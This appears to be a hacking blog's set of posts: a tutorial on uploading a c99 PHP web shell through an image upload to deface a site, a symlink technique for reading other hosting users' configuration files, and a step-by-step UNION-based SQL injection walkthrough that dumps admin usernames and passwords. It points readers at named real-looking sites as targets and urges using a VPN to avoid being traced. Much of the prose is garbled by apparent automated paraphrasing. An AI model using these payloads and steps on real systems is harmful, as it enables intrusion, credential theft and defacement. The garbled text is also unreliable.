How To UPlode Shell and Deface web site.......

How To transfer Shell and Deface web site – Tutorial
What we tend to need:
1-A Shell (Will be provided)
2-A web site prone to SQLi
3-Image or File transfer space on it Vulnerable
website
So first of all transfer the shell
What is Shell ?
A shell script could be a script written for the shell, or
command line interpreter, of associate software package. It
is often thought of an easy domain-specific
programming language. Typical operations
performed by shell scripts embrace file manipulation,
program execution, and printing text.
This is an understandable c99 shell, however it's undetected  thus you
should not get a warning from a opposed virus if you
download it. (update: not undetected  any longer )
I am not planning to justify SQLi simply a way to
deface.
Sql Tut- http://sumitcrackzone.blogspot.in/2012/08/
how-to-hack-website-with-sql-injection.html
So currently go get yourself a vulnerable web site, hack it and
get the Admin Login details and obtain the Admin Page
address.
Now login to the admin page with the admin details
you got.
Go through the admin page till you discover an area
where you'll transfer an image (Usually a picture).
Now you have got to transfer the shell. Right if you don’t
get miscalculation it's all sensible.
Now to seek out the shell
Go through the location till you discover any image and if
you are victimisation firefox Right
- Click on that and “Copy Image Location”
Make a brand new tab and paste it there.
It will in all probability look one thing like this:
http://www.example.com/images/
photonamehere.jpg
So currently that we all know that amendment “/
photonamehere.jpg” to “/c99ud.php.jpg” (Without
Qoutes)
Now a page can come back up trying like this:
Does in all probability not appear as if that however can look similar.
Now you have got access to all or any the files on the location
What you wish to try and do is currently,
Find index.php or regardless of the main page is, and
replace it along with your hypertext mark-up language code for your Deface Page.
Then you'll either delete all the opposite files OR (and
I recommend this) Let it direct to the most page.
Keep in mind:
• amendment Admin Username and parole
•The folks have FTP access thus you wish to vary
that parole too .
•Always use a Proxy or VPN
‪#‎Anonymous‬# Published: By: Unknown - 10:30 PM

What is symlink ?

NOTE : I don't take any responsibility for your actions. This was written for academic functions solely ! conjointly sorry my dangerous english !

Hello HackForums.
Today i will attempt to facilitate begginer webhackers by teaching them a way referred to as symlink.

What is symlink ?
Symlink could be a technique utilized by hackers to browse files from different users on a Linux server, solely by employing a php-shell.

So what will we need to start out the tutorial :

Requirements :

- a phpshell uploaded in a very Linux server (Safe MODE = OFF )
- a target website
- basic phpshell & Linux data
- a brain !

Let's begin by the tutorial.

Where to urge a target, if you simply have a phpshell uploaded in a very Linux server that has some sites ?
It's easy , 1st get the scientific discipline of the server.
Then visit bing.com and search like that :
Code:
ip:xx.xxx.xxx.xxx vbulletin
xxx replace with the scientific discipline adress of the server , and 'vbulletin', you'll be able to amendment to a reputation of a forum code or a CMS you would like as a target. except for this instance i will take vBulletin.

OK , currently we have a tendency to got the target website , let's suppose that its name is mytarget.com and it uses vBulletin forum code.

Now starts the $64000 hacking !

Go to your phpshell , and within the 'Execute command' field , execute there that command :
Code:
ls -la /etc/valiases/mytarget.com
By capital punishment this command , i will get the name of the user (on the Linux server) that keeps the web site mytarget.com.
It ought to come with a result just like that :

>>>>>>>-rw-r--r-- one target mail twenty eight might twenty eight 2011 /etc/valiases/mytarget.com

The red coloured piece is that the user of mytarget.com on the server.
So in our case the username is 'target'

Many people apprehend that the configuration file of vBulletin script ,can be found in /includes/config.php.
This is the file we'd like to browse in our case , so as to urge access at our target website.
How will we have a tendency to browse that file ?
Simple , execute that command on the shell :
Code:
ln -s /home/target/public_html/includes/config.php symlink.txt
As you'll be able to see, we're writting the content of config.php , into symlink.txt file.
After you execute the command , you'll se a replacement file referred to as symlink.txt.
Open it and w00t !! You with success browse the configuration file (symlinked).
Now , simply get AN MySQL connecter script coded in PHP , and login with the main points you get from configuration file of your target.Then at the admin table, get the admin's hash and crack it , or better , amendment the admin's email you yours , so do a forgot arcanum at mytarget.com
And then you with success can get full access in your target website !

That was all ,very simple if you follow over and over. perhaps shortly i'll create a video tutorial if you continue to did not perceive , simply request the video tut within the comments , and that i can strive ASAP to create it for you !

Thanks for reading , -ThatGuy- ! Published: By: Unknown - 10:23 PM

(SQL INJECTION TUTORIAL PART 1)SQL INJECTION BASIC TUTORIAL

(SQL INJECTION TUTORIAL PART 1)SQL INJECTION BASIC TUTORIAL

WHAT IS SQL INJECTION?

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

WHAT TYPE OF SITES ARE INJECTABLE?

Every website needs to be public, security mechanisms will allow public web traffic to communicate with your web applications generally over port 80/443. The web application has open access to the database in order to return (update) the requested (changed) information. In SQL Injection, the hacker uses SQL queries and creativity to get to the database of sensitive corporate data through the web application.

Each type of web application is hard coded with specific SQL queries that it will execute when performing its legitimate functions and communicating with the database. If any input field of the web application is not properly sanitised, a hacker may inject additional SQL commands that broaden the range of SQL commands the web application will execute, thus going beyond the original intended design and function. A hacker will thus have a clear channel of communication to the database irrespective of all the intrusion detection systems and network security equipment installed before the physical database server. So a system vulnerable to SQL Injection, can be injected by SQL Query/Commands through an input form field. This is equivalent to handing the attacker your database and allowing him to execute any SQL command including DROP TABLE to the database!

GOOGLE DORKS

Do you know how to use google? Sounds a silly question because even children can easily use google search engine. But the thing is that how efficiently we can make use of google. Google dorks are nothing but simple search operators that are used to refine our search. Okay let's suppose that you wanna search for ebooks on topic 'networking' , our obvious search queries would be like this "Networking ebooks", "free ebooks for networking" etc,we keep going into the websites, clicking on link after links and then get proper downling links. Now lets do the same search in a different way , type on google "ext:pdf networking" (without quotes). ext means extension.

And see what you get in results, google returned direct downloading links of ebooks on networking that is files with extension pdf. I give you another example on this. Let's use this dork inurl: (include url).
If u write inurl:lol and then if you search it on google then every lol included in the websites will appear in the search result.

How to Find and test a vulnerable site?

To find a site vulnerable to Sql injection,

we have to use Google dorks.

Here is some google dorks to find sites vulnerable :http://pastebin.com/1c0mvpJJ

Now as example I will search with this dork :

Code:

inurl:productdetail.php?ProductId=

Paste it on google's search box and hit search button. Many site will appear. Enter in any website. To test the site if the site is vulnerable to Sql Injection. To test the website put a string ' at the end of the site's (id=18') parameter . If the site is vulnerable there will appear an error or something will be missed from the page.

As Example I take this site to test vulnerable or not :

http://www.hillanddaleoutdoors.co.uk/productDetail.php?productId=313&brand=11'

After puting a string ' at the end of the website no error came up, nothing changed nothing is missing. So The site is not vulnerable to Sql Injection.

Lets move on to another site.

http://www.example.com/productdetail.php?ProductId=33'

This site is vulerable to Sql Injection. Error appeared on the page :

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

http://prntscr.com/8u0gd1

This is how find a website vulnerable to SQL Injection.

How to Inject a Vulnerable WebSite?  

§  Now we have got a vulnerable site. Now I'm going to show you how to inject the site.

Step 1 : "Counting Columns"

At first we have to find how many columns are there, you need to find the amount of columns there. We can count the columns with ORDER BY function.

Code:

www.example.com/productdetail.php?ProductId=33+order+by+1--

(No error, that means 1 no column surely exists)

Code:

www.example.com/productdetail.php?ProductId=33+order+by+2--

(Same as before , no error , 2 no column exists)

Code:

www.example.com/productdetail.php?ProductId=33+order+by+3--

(No error, loads good)

Code:

www.example.com/productdetail.php?ProductId=33+order+by+4--

(No error, loads good)

Code:

www.exapmle.com/productdetail.php?ProductId=33+order+by+5--

(No error, loads good)

Code:

www.example.com/productdetail.php?ProductId=33+order+by+6--

(No error , loads good)

Code:

www.example.com/productdetail.php?ProductId=33+order+by+7--

(No error ,loads good)

Code:

www.example.com/productdetail.php?ProductId=33+order+by+8--

(No error)

Code:

www.example.com/productdetail.php?ProductId=33+order+by+9--

(ERROR !! This column doesn't exist)

http://prntscr.com/8u0jcb

So we have got the ammonunt of column.
This site has 8 column. Now we have to find a column vulnerable to Injection. Vulnerable
column will can give us data. 

Step 2 : Vulnerable Column

  To get vulnerable column add a row - after the id=- like this :

http://www.example.com/productdetail.php?ProductId=-33

Check this syntax I've added a row after the id, and

We have to use UNION SELECT function after the id number and after at the end of parameter (number) we have to put the columns the the site has, like this :

http://www.example.com/productdetail.php?ProductId=-33+UNION+SELECT+1,2,3,4,5,6,7,8--

Check the page 2 and 3 came up there. http://prntscr.com/8u0klz
 
Step 3 : Getting Version

We can get data from 2 and 3 no column, now we have to check the version, replace the vulnerable column with this : 

Code:

@@version

Or

Code:

version()

So, I'm going to replace 2 no column. so our link should be like this :

Code:

http://www.example.com/productdetail.php?ProductId=-33+UNION+SELECT+1,@@version,3,4,5,6,7,8--

Look on the page, version came up : 5.1.63-cll http://prntscr.com/8u0l1s

If the version is less than 5, then you have to move to another site. The site that has version less than 5 don't have information_schema, Our next step's Table names won't came up with version 4. If you want to inject version 4 , You have to go with BLIND SQL Injection. 
Thats annoying, you will have to guess table names with it.

Step 4 ; Getting Tables

Now we are going to obtain table names from vulnerable column with these Codes :

Code:

group_concat(table_name)

replace this ^ with vulnerable column

Code:

from information_schema.tables where table_schema=database()--

Put this ^ code after the existing columns.

Then , our link should be like this :

Code:

www.example.com/productdetail.php?ProductId=-33+UNION+SELECT+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--

Now check the table names appeared on the page. http://prntscr.com/8u0lvt

Now Find tables named :


admin
adminstator
tbl_admin
user
users
tbl_users
tbl_user
tblusers
members
member
login
cp_login
settings
etc.

Usually this tables contains login data. Look on the page there is a table named tblusers

Step 5 : Getting Columns

We can obtain that site's (data) username, password column from that table. Ok now :

Code:

group_concat(column_name)

Replace this with vulnerable column :

from information_schema.columns where table_name=0xYOUR TABLE NAME'S HEX HERE--

Put this code ^ after the existing columns.

Hex your table name from here :

http://www.string-functions.com/string-hex.aspx

Hex of tblusers is : 74626c7573657273

So our syntax should be like this : 

Code:

http://www.example.com/productdetail.php?ProductId=-33+UNION+SELECT+1,group_concat(column_name),3,4,5,6,7,8+from+information_schema.columns+where+table_name=0x74626c7573657273--

Check, the username , password column came up :D 
http://prntscr.com/8u0mr4

Step 6 : Extracting Data From Columns

Last step,
Replace 

Code:

group_concat(column_name)

With

Code:

group_concat(column1,0x3a,column2)

Then our syntax should be this :

Code:

http://www.example.com/productdetail.php?ProductId=-33+UNION+SELECT+1,group_concat(UserName,0x3a,UserPassword),3,4,5,6,7,8+from+tblusers--

Username and pass came up : http://prntscr.com/8u0nbr

I've put tblusers at the end of my syntax because username and password column exists in tblurers.

If you have any problem comment below I'll help.

YOU can try this SQL INJECTION on this site::: http://aieseci.in/home.php?id=40

Published: By: Unknown - 1:17 AM

test post.

test post. Published: By: Unknown - 1:09 AM